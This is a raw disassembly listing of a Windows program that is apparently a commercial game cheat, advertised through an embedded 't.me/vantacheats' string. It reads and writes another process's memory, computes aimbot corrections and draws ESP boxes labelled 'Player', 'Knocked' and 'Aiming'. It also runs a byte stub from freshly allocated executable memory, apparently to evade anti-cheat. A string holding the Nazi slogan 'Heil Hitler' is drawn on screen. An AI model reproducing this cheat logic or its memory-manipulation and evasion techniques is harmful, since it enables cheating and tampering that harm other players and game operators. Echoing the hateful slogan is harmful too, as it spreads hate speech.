cmp rbx, rax
je 0x140010711
mov rdx, qword [0x14009c380]
add rdx, rbx
call fcn.140002290
test al, 0x30
je 0x14001025c
lea rcx, [rbp + 0x190]
call fcn.140004bf0
inc r14d
jmp 0x140010075
lea rdx, [rbp + 0x40]
lea rcx, [rbp + 0x3e0]
call fcn.1400017a0
mov rbx, rax
lea rdx, [rbp - 0x70]
lea rcx, [rbp + 0x190]
call fcn.1400017a0
mov rdx, rax
mov rcx, rbx
call fcn.140004ba0
movaps xmm9, xmm0
lea rcx, [rbp + 0x3e0]
call fcn.1400020f0
test rax, rax
jne 0x1400102a3
movaps xmm9, xmm8
mov dil, 0x5f
mov word [rsp + 0x31], 0xff00
mov byte [rsp + 0x30], 0
lea rcx, [rbp + 0x190]
call fcn.140029c90
movzx ebx, al
lea rcx, [rbp + 0x3e0]
call fcn.1400021c0
cmp bl, al
jne 0x1400102e7
lea rcx, [rbp + 0x3e0]
call fcn.1400020f0
test rax, rax
je 0x1400102e7
mov sil, 1
jmp 0x1400102ea
xor sil, sil
lea rdx, [0x14008bbf0]
lea rcx, [rbp + 0x280]
call fcn.140003800
nop
test sil, sil
jne 0x14001039f
cmp byte [reloc.WS2_32.dll_accept], sil
je 0x140010373
lea rcx, [rbp - 0x20]
call fcn.14002a6c0
test al, al
je 0x140010326
lea rdx, [0x14008c2bc]
jmp 0x140010344
lea rcx, [rbp + 0x190]
call fcn.140029b40
test al, al
lea rdx, [0x14008c2c0]
jne 0x140010344
lea rdx, str.Player
lea rcx, [rbp + 0x280]
call fcn.140013e90
lea rcx, [rbp + 0x190]
call fcn.140029c20
test al, al
je 0x140010373
lea rdx, str.Knocked
lea rcx, [rbp + 0x280]
call fcn.140013e90
cmp byte [reloc.WS2_32.dll_accept], 0
je 0x14001039f
lea rcx, [rbp + 0x190]
call fcn.140029bb0
test al, al
je 0x14001039f
lea rdx, str.Aiming
lea rcx, [rbp + 0x280]
call fcn.140013e90
mov r8d, 0x44
lea rdx, [rbp + 0xf0]
lea rcx, [rbp + 0x190]
call fcn.14002a2a0
lea rdx, [rbp + 0xf0]
lea rcx, [rbp - 0x70]
call fcn.140001770
mov r8, rax
lea rdx, [rbp - 0x38]
mov rcx, r13
call fcn.140001f80
lea rcx, [rbp - 0x38]
call fcn.140004b40
test al, al
jne 0x140010405
lea rcx, [rbp + 0x280]
call fcn.140001a70
nop
lea rcx, [rbp + 0x190]
call fcn.140004bf0
inc r14d
jmp 0x140010075
xor r8d, r8d
lea rdx, [rbp + 0x5d0]
lea rcx, [rbp + 0x190]
call fcn.14002a2a0
lea rdx, [rbp + 0x5d0]
lea rcx, [rbp - 0x70]
call fcn.140001770
mov r8, rax
lea rdx, [rbp + 0x70]
mov rcx, r13
call fcn.140001f80
lea rcx, [rbp + 0x70]
call fcn.140004b40
test al, al
je 0x1400103e4
movzx ebx, byte [reloc.WS2_32.dll_accept]
lea rcx, [rbp + 0x190]
call fcn.140029d40
test al, al
je 0x14001047b
movzx edi, dil
cmp byte [reloc.WS2_32.dll_accept], 0
cmove edi, r12d
mov byte [rsp + 0x33], dil
mov word [rsp + 0x31], 0xff
jmp 0x14001049c
movzx eax, dil
cmp byte [reloc.WS2_32.dll_accept], 0
cmove eax, r12d
movzx edi, al
mov byte [rsp + 0x33], al
cmp byte [0x14009b143], 0
cmovne ebx, r12d
lea rcx, [rbp - 0x20]
call fcn.14002a6c0
test al, al
jne 0x1400104b9
lea rcx, [rbp + 0x190]
call fcn.140029b40
test al, al
je 0x1400104d3
movzx ebx, bl
cmp byte [0x14009b141], 0
cmovne ebx, r12d
mov word [rsp + 0x31], 0
mov byte [rsp + 0x30], 0xff
lea rcx, [rbp + 0x190]
call fcn.140029c20
test al, al
je 0x140010513
movzx eax, dil
cmp byte [reloc.WS2_32.dll_accept], 0
cmove eax, r12d
movzx edi, al
mov byte [rsp + 0x33], al
movzx ebx, bl
cmp byte [reloc.WS2_32.dll_accept], 0
cmovne ebx, r12d
mov word [rsp + 0x31], 0xffff
mov byte [rsp + 0x30], 0
movss xmm0, dword [0x14009b150]
movss xmm6, dword [0x14009b178]
mulss xmm0, xmm6
cvtps2pd xmm1, xmm0
mov ecx, r12d
movzx eax, bl
comisd xmm9, xmm1
cmovbe ecx, eax
movsd xmm7, qword [rbp - 0x30]
movsd xmm8, qword [rbp - 0x38]
test sil, sil
jne 0x1400105e3
test cl, cl
je 0x1400105f8
movss xmm2, dword [0x14009b154]
cvtps2pd xmm2, xmm2
movsd qword [rbp + 0xa0], xmm11
movsd qword [rbp + 0xa8], xmm15
movsd qword [rbp + 0x90], xmm8
movsd qword [rbp + 0x98], xmm7
lea rdx, [rbp + 0xa0]
lea rcx, [rbp + 0x90]
call fcn.140005030
test al, al
je 0x1400105f8
movsd qword [rbp + 0x80], xmm11
movsd qword [rbp + 0x88], xmm15
lea rdx, [rbp + 0x80]
lea rcx, [rbp - 0x38]
call fcn.140004b60
comisd xmm10, xmm0
jbe 0x1400105f8
movaps xmm10, xmm0
lea rdx, [rbp + 0x190]
lea rcx, [rbp + 0x4e0]
call fcn.140011580
movss xmm6, dword [0x14009b178]
jmp 0x1400105f8
cmp byte [0x14009b162], 0
je 0x14001060e
mov word [rsp + 0x31], 0xff
mov byte [rsp + 0x30], 0xff
movss xmm0, dword [0x14009b174]
mulss xmm0, xmm6
cvtps2pd xmm0, xmm0
comisd xmm9, xmm0
jbe 0x140010633
lea rcx, [rbp + 0x280]
call fcn.140001a70
nop
lea rcx, [rbp + 0x190]
call fcn.140004bf0
xorps xmm8, xmm8
inc r14d
jmp 0x140010075
movsd xmm0, qword [rbp + 0x78]
subsd xmm0, xmm7
cvtpd2ps xmm1, xmm0
andps xmm1, xmm14
mulss xmm1, dword [0x14008e7ec]
cvttss2si ecx, xmm1
movd xmm2, ecx
cvtdq2ps xmm2, xmm2
divss xmm2, dword [0x14008e838]
movd xmm6, ecx
cvtdq2pd xmm6, xmm6
test dil, dil
je 0x1400106b1
cvttss2si r9d, xmm2
movaps xmm1, xmm6
mulsd xmm1, xmm12
movaps xmm0, xmm7
subsd xmm0, xmm1
cvttsd2si r8d, xmm0
mulss xmm2, xmm13
cvtps2pd xmm0, xmm2
movaps xmm1, xmm8
subsd xmm1, xmm0
cvttsd2si edx, xmm1
mov eax, dword [rsp + 0x30]
mov dword [rsp + 0x28], eax
mov dword [rsp + 0x20], ecx
mov rcx, qword [0x14009c488]
call fcn.140028f80
mov byte [rsp + 0x33], 0xff
lea rdx, [0x14008bbf0]
lea rcx, [rbp + 0x280]
call fcn.140019440
test al, al
je 0x14001060e
lea rdx, [rbp + 0x280]
lea rcx, [rbp - 0x70]
call fcn.140001ad0
mulsd xmm6, xmm12
subsd xmm7, xmm6
subsd xmm7, qword [0x14008e840]
cvttsd2si r9d, xmm7
cvttsd2si r8d, xmm8
mov ecx, dword [rsp + 0x30]
mov dword [rsp + 0x20], ecx
mov rdx, rax
call fcn.140029230
jmp 0x14001060e
mov rdx, qword [rbp + 0x1d8]
cmp rdx, 0xf
jbe 0x140010752
inc rdx
mov rcx, qword [rbp + 0x1c0]
cmp rdx, 0x1000
mov rax, rcx
jb 0x14001074d
mov rcx, qword [rcx - 8]
sub rax, rcx
add rdx, 0x27
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001144c
call fcn.140079b3c
inc r14d
jmp 0x140010075
mov rdi, qword [rbp + 0x4e0]
test rdi, rdi
je 0x14001077a
mov ecx, dword [reloc.WS2_32.dll_sendto]
call fcn.140027c50
test eax, eax
je 0x14001077a
mov r12b, 1
jmp 0x14001077d
xor r12b, r12b
mov ebx, dword [rsp + 0x38]
test rdi, rdi
je 0x140010c0b
mov r8d, 0x44
lea rdx, [rbp + 0xf0]
lea rcx, [rbp + 0x4e0]
call fcn.14002a2a0
movsd xmm12, qword [rbp + 0x100]
movsd xmm13, qword [rbp + 0xf8]
movsd xmm14, qword [rbp + 0xf0]
cmp byte [reloc.WS2_32.dll_accept], 0
je 0x140010ae2
movsd xmm1, qword [r13 + 0x10]
subsd xmm1, xmm12
movsd xmm2, qword [r13 + 8]
subsd xmm2, xmm13
movsd xmm0, qword [r13]
subsd xmm0, xmm14
mulsd xmm2, xmm2
mulsd xmm0, xmm0
addsd xmm2, xmm0
mulsd xmm1, xmm1
addsd xmm2, xmm1
xorps xmm0, xmm0
ucomisd xmm0, xmm2
ja 0x14001080f
sqrtpd xmm0, xmm2
jmp 0x140010817
movaps xmm0, xmm2
call sub.api_ms_win_crt_math_l1_1_0.dll_sqrt
xorps xmm11, xmm11
cvtsd2ss xmm11, xmm0
movsd xmm8, qword [rbp + 0x540]
movsd xmm9, qword [rbp + 0x538]
movsd xmm10, qword [rbp + 0x530]
xorps xmm1, xmm1
ucomisd xmm10, xmm1
jp 0x14001085d
jne 0x14001085d
ucomisd xmm9, xmm1
jp 0x14001085d
jne 0x14001085d
ucomisd xmm8, xmm1
jp 0x14001085d
jne 0x14001085d
mov al, 1
jmp 0x14001085f
xor al, al
test al, al
je 0x14001093b
mov rax, qword [rbp + 0x568]
test rax, rax
jne 0x1400108c0
mov rdx, qword [0x14009c398]
mov rax, qword [rbp + 0x4e0]
add rax, 8
add rdx, rax
xor eax, eax
mov qword [rbp + 0x2e0], rax
test rdx, rdx
je 0x1400108b9
mov qword [rsp + 0x20], rax
lea r9d, [rax + 8]
lea r8, [rbp + 0x2e0]
mov rcx, qword [0x14009c4d8]
call fcn.140027740
mov rax, qword [rbp + 0x2e0]
mov qword [rbp + 0x568], rax
lea rdx, [rax + 0xb8]
xorps xmm0, xmm0
movups xmmword [rbp + 0xf0], xmm0
xorps xmm8, xmm8
movsd qword [rbp + 0x100], xmm8
test rdx, rdx
je 0x14001090e
mov qword [rsp + 0x20], 0
mov r9d, Ordinal_26
lea r8, [rbp + 0xf0]
mov rcx, qword [0x14009c4d8]
call fcn.140027740
movsd xmm8, qword [rbp + 0x100]
movsd xmm10, qword [rbp + 0xf0]
movsd qword [rbp + 0x530], xmm10
movsd xmm9, qword [rbp + 0xf8]
movsd qword [rbp + 0x538], xmm9
movsd qword [rbp + 0x540], xmm8
mov rdx, qword [0x14009c270]
add rdx, 0x68
xorps xmm6, xmm6
movss dword [rbp + 0x128], xmm6
add rdx, qword [0x14009c3c8]
je 0x140010984
mov qword [rsp + 0x20], 0
mov r9d, 4
lea r8, [rbp + 0x128]
mov rcx, qword [0x14009c4d8]
call fcn.140027740
movss xmm6, dword [rbp + 0x128]
lea rcx, [rbp + 0x158]
cmp qword [rbp + 0x170], 0xf
cmova rcx, qword [rbp + 0x158]
lea rdx, str.Pickaxe
call qword [sym.imp.VCRUNTIME140.dll_strstr]
test rax, rax
jne 0x140010ad5
movss xmm7, dword [0x14008e7d8]
xor edi, edi
lea rsi, [0x140000000]
nop dword [rax]
nop word [rax + rax]
lea rcx, [rbp + 0x158]
cmp qword [rbp + 0x170], 0xf
cmova rcx, qword [rbp + 0x158]
mov rdx, qword [rdi + rsi + 0x8bc10]
call qword [sym.imp.VCRUNTIME140.dll_strstr]
test rax, rax
jne 0x140010a17
add rdi, 8
cmp rdi, 0x78
jb 0x1400109d0
comiss xmm6, dword [0x14008e88c]
jb 0x140010a1f
mulss xmm6, dword [0x14008e880]
jmp 0x140010a1f
movss xmm7, dword [0x14008e7d4]
mov eax, 1
xorps xmm0, xmm0
ucomiss xmm0, xmm6
jp 0x140010a66
jne 0x140010a66
movss xmm6, dword [0x14008e890]
movsd xmm0, qword [0x14008e828]
mulsd xmm8, xmm0
mulsd xmm9, xmm0
mulsd xmm10, xmm0
movsd xmm0, qword [0x14008e830]
divsd xmm8, xmm0
divsd xmm9, xmm0
divsd xmm10, xmm0
xor eax, eax
divss xmm11, xmm6
xorps xmm1, xmm1
cvtss2sd xmm1, xmm11
mulsd xmm10, xmm1
addsd xmm14, xmm10
mulsd xmm9, xmm1
addsd xmm13, xmm9
mulsd xmm8, xmm1
xorps xmm0, xmm0
cvtsi2sd xmm0, eax
addsd xmm8, xmm0
ucomisd xmm8, qword [0x14008e7c8]
jp 0x140010aaa
jne 0x140010aaa
xorps xmm0, xmm0
jmp 0x140010ad0
mulss xmm7, dword [rbp + 0xd0]
andps xmm7, xmmword [0x14008e9a0]
mulss xmm7, dword [0x14008e7dc]
xorps xmm0, xmm0
cvtss2sd xmm0, xmm7
mulsd xmm1, xmm1
mulsd xmm0, xmm1
addsd xmm12, xmm0
xorps xmm8, xmm8
movsd xmm11, qword [rbp + 0x130]
movsd qword [rbp + 0xf0], xmm14
movsd qword [rbp + 0xf8], xmm13
movsd qword [rbp + 0x100], xmm12
lea r8, [rbp + 0xf0]
lea rdx, [rbp - 0x50]
mov rcx, r13
call fcn.140001f80
movsd xmm6, qword [rbp - 0x48]
movsd xmm7, qword [rbp - 0x50]
movsd xmm9, qword [0x14008e818]
cmp byte [reloc.WS2_32.dll_accept], 0
je 0x140010b66
movaps xmm0, xmm6
subsd xmm0, xmm9
cvttsd2si r8d, xmm0
movaps xmm1, xmm7
subsd xmm1, qword [0x14008e808]
cvttsd2si edx, xmm1
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], 4
mov r9d, 4
mov rcx, qword [0x14009c488]
call fcn.140028f80
test r12b, r12b
je 0x140010bc1
ucomisd xmm14, xmm8
jp 0x140010b8a
jne 0x140010b8a
ucomisd xmm13, xmm8
jp 0x140010b8a
jne 0x140010b8a
ucomisd xmm12, xmm8
jp 0x140010b8a
jne 0x140010b8a
mov al, 1
jmp 0x140010b8c
xor al, al
test al, al
jne 0x140010bc1
movsd qword [rbp + 0xf0], xmm14
movsd qword [rbp + 0xf8], xmm13
movsd qword [rbp + 0x100], xmm12
mov rdx, r13
lea rcx, [rbp + 0xf0]
call fcn.140004de0
mov byte [0x14009c598], 1
lea rdx, str.Aimed
lea rcx, [rbp + 0x320]
call fcn.140003800
cvttsd2si r9d, xmm6
cvttsd2si r8d, xmm7
mov dword [rsp + 0x20], 0xffffffff
mov rdx, rax
call fcn.140029230
movsd xmm12, qword [0x14008e7f0]
movss xmm13, dword [0x14008e7dc]
movss xmm14, dword [0x14008e9a0]
jmp 0x140010c14
movsd xmm9, qword [0x14008e818]
cmp byte [reloc.WS2_32.dll_accept], 0
je 0x140010fc7
xor r14d, r14d
cmp qword [rbp + 0x4d0], r14
jne 0x140010c71
mov rdx, qword [rbp + 0x4c8]
mov eax, r14d
mov qword [rbp + 0x2d8], rax
add rdx, qword [0x14009c3a0]
je 0x140010c6a
mov qword [rsp + 0x20], r14
lea r9d, [r14 + 8]
lea r8, [rbp + 0x2d8]
mov rcx, qword [0x14009c4d8]
call fcn.140027740
mov rax, qword [rbp + 0x2d8]
mov qword [rbp + 0x4d0], rax
mov rdx, qword [rbp + 0x4d0]
mov qword [rbp + 0x2d0], r14
add rdx, qword [0x14009c370]
je 0x140010fc7
mov qword [rsp + 0x20], r14
mov r9d, 8
lea r8, [rbp + 0x2d0]
mov rcx, qword [0x14009c4d8]
call fcn.140027740
cmp qword [rbp + 0x2d0], 0
je 0x140010fc7
mov ecx, dword [reloc.WS2_32.dll_sendto]
call fcn.140027c50
test eax, eax
je 0x140010fc7
mov rcx, qword [rbp + 0x4d0]
test rcx, rcx
jne 0x140010d1d
mov rdx, qword [rbp + 0x4c8]
mov rcx, r14
mov qword [rbp + 0x2f0], rcx
add rdx, qword [0x14009c3a0]
je 0x140010d16
mov qword [rsp + 0x20], r14
mov r9d, 8
lea r8, [rbp + 0x2f0]
mov rcx, qword [0x14009c4d8]
call fcn.140027740
mov rcx, qword [rbp + 0x2f0]
mov qword [rbp + 0x4d0], rcx
mov rdx, qword [0x14009c370]
mov rdi, r14
mov qword [rbp + 0x130], r14
add rdx, rcx
je 0x140010d58
mov qword [rsp + 0x20], r14
mov r9d, 8
lea r8, [rbp + 0x130]
mov rcx, qword [0x14009c4d8]
call fcn.140027740
mov rdi, qword [rbp + 0x130]
mov qword [rbp + 0x190], r14
movsd qword [rbp + 0x198], xmm8
xorps xmm0, xmm0
movups xmmword [rbp + 0x1a0], xmm0
mov qword [rbp + 0x1b0], r14
mov dword [rbp + 0x1b8], r14d
lea rdx, [0x14008bbf0]
lea rcx, [rbp + 0x1c0]
call fcn.140003800
mov qword [rbp + 0x1b0], r14
xorps xmm0, xmm0
movups xmmword [rbp + 0x1e0], xmm0
movsd qword [rbp + 0x1f0], xmm8
mov byte [rbp + 0x1f8], 0
mov qword [rbp + 0x200], r14
mov qword [rbp + 0x208], r14
mov qword [rbp + 0x210], r14
mov qword [rbp + 0x218], r14
movups xmmword [rbp + 0x220], xmm0
xorps xmm1, xmm1
movups xmmword [rbp + 0x230], xmm1
movups xmmword [rbp + 0x240], xmm0
movups xmmword [rbp + 0x250], xmm1
movups xmmword [rbp + 0x260], xmm0
movsd qword [rbp + 0x270], xmm8
mov qword [rbp + 0x190], rdi
movzx edi, byte [rbp + 0x4d8]
test dil, dil
jne 0x140010e84
mov rcx, qword [rbp + 0x450]
test rcx, rcx
jne 0x140010e6c
lea rcx, [rbp + 0x3e0]
call fcn.1400020f0
add rax, qword [0x14009c338]
mov rcx, r14
mov qword [rbp + 0x2c8], rcx
je 0x140010e65
mov qword [rsp + 0x20], r14
mov r9d, 8
lea r8, [rbp + 0x2c8]
mov rdx, rax
mov rcx, qword [0x14009c4d8]
call fcn.140027740
mov rcx, qword [rbp + 0x2c8]
mov qword [rbp + 0x450], rcx
mov rdx, qword [0x14009c320]
add rdx, rcx
call fcn.140002290
movzx edi, al
mov byte [rbp + 0x4d8], al
lea rcx, [rbp + 0x190]
call fcn.140029c90
movzx esi, al
mov rdx, qword [rbp + 0x1d8]
cmp rdx, 0xf
jbe 0x140010ed4
inc rdx
mov rcx, qword [rbp + 0x1c0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140010ecf
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001145a
call fcn.140079b3c
cmp sil, dil
je 0x140010fc7
mov qword [rbp + 0x630], 0
mov qword [rbp + 0x648], 0
mov qword [rbp + 0x638], 0
mov dword [rbp + 0x640], r14d
mov dword [rbp + 0x644], 2
mov qword [rbp + 0x650], r14
movups xmm0, xmmword [rbp + 0x630]
movups xmmword [rbp + 0x658], xmm0
movups xmm1, xmmword [rbp + 0x640]
movups xmmword [rbp + 0x668], xmm1
movsd xmm0, qword [rbp + 0x650]
movsd qword [rbp + 0x678], xmm0
mov dword [rbp + 0x66c], 4
mov edx, 0x1000
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, edx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdi, rax
test rax, rax
je 0x140010fc7
movups xmm0, xmmword [0x14009c400]
movups xmmword [rax], xmm0
movsd xmm1, qword [0x14009c410]
movsd qword [rax + 0x10], xmm1
mov ecx, dword [0x14009c418]
mov dword [rax + 0x18], ecx
movzx ecx, word [0x14009c41c]
mov word [rax + 0x1c], cx
mov r8d, Ordinal_41
lea rdx, [rbp + 0x630]
lea ecx, [r8 - 0x26]
call rdi
xor edx, edx
mov r8d, 0x1000
mov rcx, rdi
call sub.VCRUNTIME140.dll_memset
xor edx, edx
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
cmp byte [reloc.WS2_32.dll_accept], 0
je 0x14001107e
movss xmm0, dword [0x14009b154]
cvttss2si r15d, xmm0
mulss xmm0, xmm13
cvtps2pd xmm2, xmm0
movaps xmm0, xmm15
subsd xmm0, xmm2
cvttsd2si edi, xmm0
movaps xmm1, xmm11
subsd xmm1, xmm2
cvttsd2si esi, xmm1
mov r14, qword [0x14009c488]
lea r9d, [r15 - 1]
lea edx, [rsi + 1]
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], 1
mov r8d, edi
mov rcx, r14
call fcn.140028f80
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], r15d
mov r9d, 1
mov r8d, edi
mov edx, esi
mov rcx, r14
call fcn.140028f80
lea edx, [rsi + r15]
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], r15d
mov r9d, 1
mov r8d, edi
mov rcx, r14
call fcn.140028f80
lea r9d, [r15 + 1]
lea r8d, [rdi + r15]
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], 1
mov edx, esi
mov rcx, r14
call fcn.140028f80
cmp byte [reloc.WS2_32.dll_accept], 0
je 0x1400110bd
subsd xmm15, xmm9
cvttsd2si r8d, xmm15
subsd xmm11, qword [0x14008e808]
cvttsd2si edx, xmm11
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], 4
mov r9d, 4
mov rcx, qword [0x14009c488]
call fcn.140028f80
lea rcx, [rbp - 0x28]
call fcn.140004480
mov rcx, qword [rbp - 0x28]
sub rcx, qword [rsp + 0x40]
movabs rax, 0x20c49ba5e353f7cf
imul rcx
sar rdx, 7
mov rax, rdx
shr rax, 0x3f
add rdx, rax
xorps xmm0, xmm0
cvtsi2sd xmm0, rdx
divsd xmm0, qword [0x14008e878]
movsd xmm1, qword [0x14008e800]
divsd xmm1, xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0x108], xmm0
mov qword [rbp + 0x118], 6
mov qword [rbp + 0x120], reloc.WS2_32.dll_ntohs
mov eax, dword [str.FPS_:]
mov dword [rbp + 0x108], eax
movzx eax, word [0x14008c2fc]
mov word [rbp + 0x10c], ax
mov byte [rbp + 0x10e], 0
cvttsd2si edx, xmm1
lea rcx, [rbp + 0x40]
call fcn.140004690
nop
mov r8, qword [rax + 0x10]
cmp qword [rax + 0x18], 0xf
jbe 0x140011163
mov rax, qword [rax]
mov rdx, rax
lea rcx, [rbp + 0x108]
call fcn.140003940
nop
mov rdx, qword [rbp + 0x58]
cmp rdx, 0xf
jbe 0x1400111ae
inc rdx
mov rcx, qword [rbp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400111a9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140011453
call fcn.140079b3c
xor ecx, ecx
mov qword [rbp + 0x50], rcx
mov qword [rbp + 0x58], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x40], cl
mov dword [rbp - 0x64], ecx
mov qword [rbp - 0x60], recv
mov qword [rbp - 0x58], reloc.WS2_32.dll_ntohs
movsd xmm0, qword [str.Heil_Hitler]
movsd qword [rbp - 0x70], xmm0
movzx eax, word [0x14008c308]
mov word [rbp - 0x68], ax
movzx eax, byte [0x14008c30a]
mov byte [rbp - 0x66], al
mov byte [rbp - 0x65], cl
mov dword [rsp + 0x20], 0xff000000
lea r9d, [rcx + 0xa]
lea rdx, [rbp - 0x70]
call fcn.140029470
lea rdx, str.t.me_vantacheats__Vanta_Slotted_
lea rcx, [rbp - 0x70]
call fcn.140003800
mov dword [rsp + 0x20], 0xffdd0000
mov r9d, reloc.WS2_32.dll_sendto
mov rdx, rax
call fcn.140029470
lea rdx, [rbp + 0x108]
lea rcx, [rbp - 0x70]
call fcn.140001ad0
mov dword [rsp + 0x20], 0xffffce00
mov r9d, reloc.WLDAP32.dll_Ordinal_30
mov rdx, rax
call fcn.140029470
call fcn.140028d70
mov edx, 0x78
mov rcx, r13
call fcn.140079b3c
test r12b, r12b
jne 0x1400112d6
cmp byte [0x14009c598], r12b
je 0x1400112d6
mov byte [rbp + 0xe8], r12b
mov rcx, qword [0x14009c4d8]
mov rdx, qword [rcx]
add rdx, qword [0x14009c3b8]
mov r9d, 1
lea r8, [rbp + 0xe8]
call fcn.140027630
xorps xmm0, xmm0
movups xmmword [rbp + 0x130], xmm0
mov rcx, qword [0x14009c4d8]
mov rdx, qword [rcx]
add rdx, qword [0x14009c388]
mov r9d, reloc.WS2_32.dll_recv
lea r8, [rbp + 0x130]
call fcn.140027630
mov byte [0x14009c598], r12b
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
mov rdx, qword [rbp + 0x120]
cmp rdx, 0xf
jbe 0x140011323
inc rdx
mov rcx, qword [rbp + 0x108]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001131e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001145a
call fcn.140079b3c
xor r12d, r12d
mov qword [rbp + 0x118], r12
mov qword [rbp + 0x120], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x108], r12b
mov rdx, qword [rbp + 0x528]
cmp rdx, 0xf
jbe 0x140011381
inc rdx
mov rcx, qword [rbp + 0x510]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001137b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140011461
call fcn.140079b3c
nop
mov rdx, qword [rbp + 0x170]
cmp rdx, 0xf
jbe 0x1400113c2
inc rdx
mov rcx, qword [rbp + 0x158]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400113bd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140011468
call fcn.140079b3c
mov qword [rbp + 0x168], r12
mov qword [rbp + 0x170], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x158], 0
xorps xmm6, xmm6
mov r15d, dword [rsp + 0x50]
mov rdx, qword [rbp + 0x428]
cmp rdx, 0xf
jbe 0x14000f286
mov rcx, qword [rbp + 0x410]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001141f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001146f
call fcn.140079b3c
jmp 0x14000f286
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3